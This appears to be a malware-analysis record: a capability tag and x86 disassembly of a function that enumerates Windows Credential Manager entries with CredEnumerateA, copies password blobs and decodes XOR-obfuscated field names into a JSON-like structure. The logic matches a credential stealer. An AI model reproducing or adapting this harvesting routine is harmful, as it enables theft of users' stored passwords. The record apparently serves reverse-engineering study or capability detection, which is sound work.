Function at 0x4646c2
Capabilities:
Acquire credentials from windows credential manager

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x55261d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x2b8
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x24], 1
push 0
lea ecx, [esi + 8]
mov byte [esi], 0
call fcn.004b27a0
mov dword [ebp - 4], 1
sub esp, 8
mov eax, esp
mov dword [ebp - 0x24], 1
lea ecx, [ebp - 0xd8]
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.004aee10
add esp, 8
mov dword [ebp - 4], 2
mov dword [ebp - 0x18], 0x3c239363
mov dword [ebp - 0x14], 0xd287efe
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x18], 0xaf4b4030
mov dword [ebp - 0x14], 0xbe0aaf25
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1a8], eax
mov dword [ebp - 0x1a4], ecx
mov dword [ebp - 0x18], 0x5544fc0f
mov dword [ebp - 0x14], 0xd280d90
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x220], eax
mov dword [ebp - 0x18], 0xaf4b4030
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x14], 0xbe0aaf25
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
movaps xmm1, xmmword [ebp - 0x1b0]
mov dword [ebp - 0x218], eax
lea eax, [ebp - 0x1b0]
mov dword [ebp - 0x214], ecx
mov ecx, esi
pxor xmm1, xmmword [ebp - 0x220]
push eax
movaps xmmword [ebp - 0x1b0], xmm1
call fcn.004b55b0
mov edi, eax
mov dword [ebp - 4], 3
mov dl, byte [edi]
mov cl, byte [ebp - 0xd8]
mov byte [edi], cl
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xcc]
mov byte [ebp - 0xd8], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xd0], edx
mov dword [ebp - 0xcc], esi
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xd0]
push dword [ebp - 0xd8]
call fcn.004b2480
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x1c], 0
push eax
push 1
push 0
call dword [sym.imp.ADVAPI32.dll_CredEnumerateA]
test eax, eax
je 0x46516d
mov edx, dword [ebp - 0x20]
xor eax, eax
mov dword [ebp - 0x60], eax
test edx, edx
je 0x465164
lea esi, [eax*4]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x5c], esi
mov eax, dword [esi + eax]
test eax, eax
je 0x465155
cmp dword [eax + 0x30], 0
je 0x465155
mov ecx, dword [eax + 4]
cmp ecx, 1
je 0x464873
cmp ecx, 4
jne 0x465155
mov eax, dword [eax + 0x18]
cmp eax, 0xc8
jae 0x465155
test eax, eax
je 0x465155
xorps xmm0, xmm0
mov dword [ebp - 0x40], 0
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov dword [ebp - 4], 4
mov eax, dword [ebp - 0x1c]
mov eax, dword [esi + eax]
mov ecx, dword [eax + 0x18]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
ja 0x4648db
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
mov dword [ebp - 0x40], ecx
cmovae eax, dword [ebp - 0x50]
mov byte [eax + ecx], 0
jmp 0x4648e8
sub ecx, eax
push 0
push ecx
lea ecx, [ebp - 0x50]
call fcn.004b3450
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
cmovae ecx, dword [ebp - 0x50]
mov eax, dword [esi + eax]
push dword [eax + 0x18]
push dword [eax + 0x1c]
push ecx
call fcn.00524fb0
add esp, 0xc
mov byte [ebp - 0x38], 0
lea ecx, [ebp - 0x30]
push 0
call fcn.004b27a0
mov byte [ebp - 4], 6
xorps xmm0, xmm0
mov edx, 0x5702c7
mov byte [ebp - 0x98], 0
lea ecx, [ebp - 0x98]
movq qword [ebp - 0x90], xmm0
call fcn.004c70f0
mov byte [ebp - 4], 7
mov dword [ebp - 0x178], 0x332b8e7f
mov dword [ebp - 0x174], 0xd4d61f9
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x174]
mov dword [ebp - 0x190], eax
mov dword [ebp - 0x18c], ecx
mov dword [ebp - 0x198], 0xaf4b4030
mov dword [ebp - 0x194], 0xbe0aaf25
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x194]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x1a0], 0x5544fc0f
mov dword [ebp - 0x19c], 0xd280d90
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x19c]
mov dword [ebp - 0xe0], 0xaf4b4030
mov dword [ebp - 0x230], eax
mov dword [ebp - 0xdc], 0xbe0aaf25
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x22c], ecx
mov ecx, dword [ebp - 0xdc]
movaps xmm1, xmmword [ebp - 0x190]
mov dword [ebp - 0x228], eax
mov al, byte [ebp - 0x38]
mov dword [ebp - 0x224], ecx
pxor xmm1, xmmword [ebp - 0x230]
movaps xmmword [ebp - 0x190], xmm1
test al, al
jne 0x464a35
push 1
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 0x38], 1
call fcn.004b27a0
mov eax, dword [ebp - 0x1f4]
mov edi, dword [ebp - 0x1f8]
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], eax
mov al, byte [ebp - 0x38]
jmp 0x464a38
mov edi, dword [ebp - 0x30]
mov dword [ebp - 0x54], edi
cmp al, 1
jne 0x465191
xorps xmm0, xmm0
mov dword [ebp - 0x6c], 0
lea eax, [ebp - 0x190]
mov dword [ebp - 0x68], 0
movups xmmword [ebp - 0x7c], xmm0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x464a61
sub eax, edx
lea ecx, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x190]
push eax
call fcn.004100e0
mov byte [ebp - 4], 8
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x204]
mov ecx, edi
push eax
call fcn.004bee20
mov esi, dword [ebp - 0x1fc]
mov dword [ebp - 0x58], esi
cmp byte [esi + 0xd], 0
jne 0x464ab2
lea edx, [esi + 0x10]
lea ecx, [ebp - 0x7c]
call fcn.004c3550
test al, al
je 0x464b7e
cmp dword [edi + 4], 0x4924924
je 0x4651eb
mov esi, dword [edi]
mov dword [ebp - 0x84], edi
mov dword [ebp - 0x80], 0
mov byte [ebp - 4], 9
push 0x38
mov dword [ebp - 0x80], 0
call fcn.0050d230
mov edi, eax
add esp, 4
mov dword [ebp - 0x80], edi
mov byte [ebp - 4], 0xa
lea ecx, [edi + 0x10]
mov dword [ebp - 0x274], ecx
xorps xmm0, xmm0
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
movups xmm0, xmmword [ebp - 0x7c]
movups xmmword [ecx], xmm0
movq xmm0, qword [ebp - 0x6c]
movq qword [ecx + 0x10], xmm0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0xf
mov byte [ebp - 0x7c], 0
mov byte [ebp - 4], 0xb
add ecx, 0x18
mov dword [ebp - 0x14], ecx
push 0
mov byte [ecx], 0
add ecx, 8
call fcn.004b27a0
mov byte [ebp - 4], 0xa
mov dword [edi], esi
mov dword [edi + 4], esi
mov dword [edi + 8], esi
mov word [edi + 0xc], 0
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x80], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x54]
push edi
push dword [ebp - 0x200]
push dword [ebp - 0x204]
call fcn.004b8bc0
mov esi, eax
mov dword [ebp - 0x58], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x68]
cmp ecx, 0x10
jb 0x464bb6
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x464bac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4651e6
push ecx
push edx
call fcn.0050d4b1
add esp, 8
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0xf
mov byte [ebp - 0x7c], 0
mov byte [ebp - 4], 0x16
mov cl, byte [esi + 0x28]
mov al, byte [ebp - 0x98]
mov edi, dword [ebp - 0x58]
mov byte [esi + 0x28], al
mov edx, dword [esi + 0x30]
mov esi, dword [esi + 0x34]
mov eax, dword [ebp - 0x90]
mov byte [ebp - 0x98], cl
mov byte [ebp - 0x164], cl
mov ecx, dword [ebp - 0x8c]
mov dword [edi + 0x30], eax
mov dword [edi + 0x34], ecx
mov dword [ebp - 0x90], edx
mov dword [ebp - 0x8c], esi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x90]
push dword [ebp - 0x164]
call fcn.004b2480
mov eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0xa8]
mov edx, dword [ebp - 0x5c]
xorps xmm0, xmm0
mov byte [ebp - 0xa8], 0
movq qword [ebp - 0xa0], xmm0
mov edx, dword [edx + eax]
add edx, 8
call fcn.004c6f70
mov byte [ebp - 4], 0x17
mov dword [ebp - 0xe8], 0x55288e7a
mov dword [ebp - 0xe4], 0xd280d90
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1bc], ecx
mov dword [ebp - 0xf0], 0xaf4b4030
mov dword [ebp - 0xec], 0xbe0aaf25
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], ecx
mov dword [ebp - 0xf8], 0x5544fc0f
mov dword [ebp - 0xf4], 0xd280d90
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x100], 0xaf4b4030
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 0xfc], 0xbe0aaf25
mov eax, dword [ebp - 0x100]
mov ecx, dword [ebp - 0xfc]
movaps xmm1, xmmword [ebp - 0x1c0]
mov dword [ebp - 0x238], eax
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0x234], ecx
lea ecx, [ebp - 0x38]
pxor xmm1, xmmword [ebp - 0x240]
push eax
movaps xmmword [ebp - 0x1c0], xmm1
call fcn.004b55b0
mov edi, eax
mov byte [ebp - 4], 0x18
mov dl, byte [edi]
movzx ecx, byte [ebp - 0xa8]
mov eax, dword [ebp - 0xa0]
mov byte [edi], cl
mov esi, dword [edi + 0xc]
mov ecx, dword [ebp - 0x9c]
mov byte [ebp - 0x168], dl
mov byte [ebp - 0xa8], dl
mov edx, dword [edi + 8]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0x9c], esi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xa0]
push dword [ebp - 0x168]
call fcn.004b2480
mov eax, dword [ebp - 0x1c]
xorps xmm0, xmm0
mov ecx, dword [ebp - 0x5c]
mov byte [ebp - 0xb8], 0
movq qword [ebp - 0xb0], xmm0
mov edx, dword [ecx + eax]
lea ecx, [ebp - 0xb8]
add edx, 0x30
call fcn.004c6f70
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x138], 0x3c239363
mov dword [ebp - 0x134], 0xd280dfe
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x108], 0xaf4b4030
mov dword [ebp - 0x104], 0xbe0aaf25
mov eax, dword [ebp - 0x108]
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0x110], 0x5544fc0f
mov dword [ebp - 0x10c], 0xd280d90
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x10c]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x118], 0xaf4b4030
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x114], 0xbe0aaf25
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x114]
movaps xmm1, xmmword [ebp - 0x1d0]
mov dword [ebp - 0x248], eax
lea eax, [ebp - 0x1d0]
mov dword [ebp - 0x244], ecx
lea ecx, [ebp - 0x38]
pxor xmm1, xmmword [ebp - 0x250]
push eax
movaps xmmword [ebp - 0x1d0], xmm1
call fcn.004b55b0
mov edi, eax
mov byte [ebp - 4], 0x1a
mov dl, byte [edi]
movzx ecx, byte [ebp - 0xb8]
mov eax, dword [ebp - 0xb0]
mov byte [edi], cl
mov esi, dword [edi + 0xc]
mov ecx, dword [ebp - 0xac]
mov byte [ebp - 0xb8], dl
mov byte [ebp - 0x16c], dl
mov edx, dword [edi + 8]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xac], esi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x16c]
call fcn.004b2480
xorps xmm0, xmm0
mov byte [ebp - 0xc8], 0
lea edx, [ebp - 0x50]
movq qword [ebp - 0xc0], xmm0
lea ecx, [ebp - 0xc8]
call fcn.004c6ef0
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0x120], 0x26379d7f
mov dword [ebp - 0x11c], 0x695a62e7
mov eax, dword [ebp - 0x120]
mov ecx, dword [ebp - 0x11c]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x128], 0xaf4b4030
mov dword [ebp - 0x124], 0xbe0aaf25
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x130], 0x5544fc0f
mov dword [ebp - 0x12c], 0xd280d90
mov eax, dword [ebp - 0x130]
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x160], 0xaf4b4030
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x15c], 0xbe0aaf25
mov eax, dword [ebp - 0x160]
mov ecx, dword [ebp - 0x15c]
movaps xmm1, xmmword [ebp - 0x1e0]
mov dword [ebp - 0x258], eax
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x254], ecx
lea ecx, [ebp - 0x38]
pxor xmm1, xmmword [ebp - 0x260]
push eax
movaps xmmword [ebp - 0x1e0], xmm1
call fcn.004b55b0
mov edi, eax
mov byte [ebp - 4], 0x1c
mov dl, byte [edi]
movzx ecx, byte [ebp - 0xc8]
mov eax, dword [ebp - 0xc0]
mov byte [edi], cl
mov esi, dword [edi + 0xc]
mov ecx, dword [ebp - 0xbc]
mov byte [ebp - 0xc8], dl
mov byte [ebp - 0x64], dl
mov edx, dword [edi + 8]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0xc0], edx
mov dword [ebp - 0xbc], esi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xc0]
push dword [ebp - 0x64]
call fcn.004b2480
mov dword [ebp - 0x140], 0x3c239363
mov dword [ebp - 0x13c], 0xd287efe
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x148], 0xaf4b4030
mov dword [ebp - 0x144], 0xbe0aaf25
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x144]
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x150], 0x5544fc0f
mov dword [ebp - 0x14c], 0xd280d90
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x158], 0xaf4b4030
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x154], 0xbe0aaf25
mov eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x154]
movaps xmm1, xmmword [ebp - 0x1f0]
mov dword [ebp - 0x268], eax
lea eax, [ebp - 0x1f0]
mov dword [ebp - 0x264], ecx
pxor xmm1, xmmword [ebp - 0x270]
mov ecx, dword [ebp - 0x28]
push eax
movaps xmmword [ebp - 0x1f0], xmm1
call fcn.004b55b0
lea ecx, [ebp - 0x38]
push ecx
mov ecx, eax
call fcn.004ae3b0
mov byte [ebp - 4], 4
push dword [ebp - 0x38]
lea ecx, [ebp - 0x30]
call fcn.004b2480
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x465140
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x465136
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4651e6
push ecx
push edx
call fcn.0050d4b1
add esp, 8
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp eax, edx
jb 0x464840
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CredFree]
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
lea ecx, [ebp - 0x38]
call fcn.004b2aa0
push eax
lea ecx, [ebp - 0x2a8]
call fcn.0040fd40
mov byte [ebp - 4], 0x14
mov edx, str.cannot_use_operator___with_a_string_argument_with
push eax
lea ecx, [ebp - 0x2c0]
call fcn.004b5410
add esp, 4
mov byte [ebp - 4], 0x15
mov edx, 0x131
push eax
lea ecx, [ebp - 0x290]
call fcn.00417210
add esp, 4
lea eax, [ebp - 0x290]
push 0x58e498
push eax
call fcn.00524f3b
call fcn.005289b0
call fcn.00416790
int3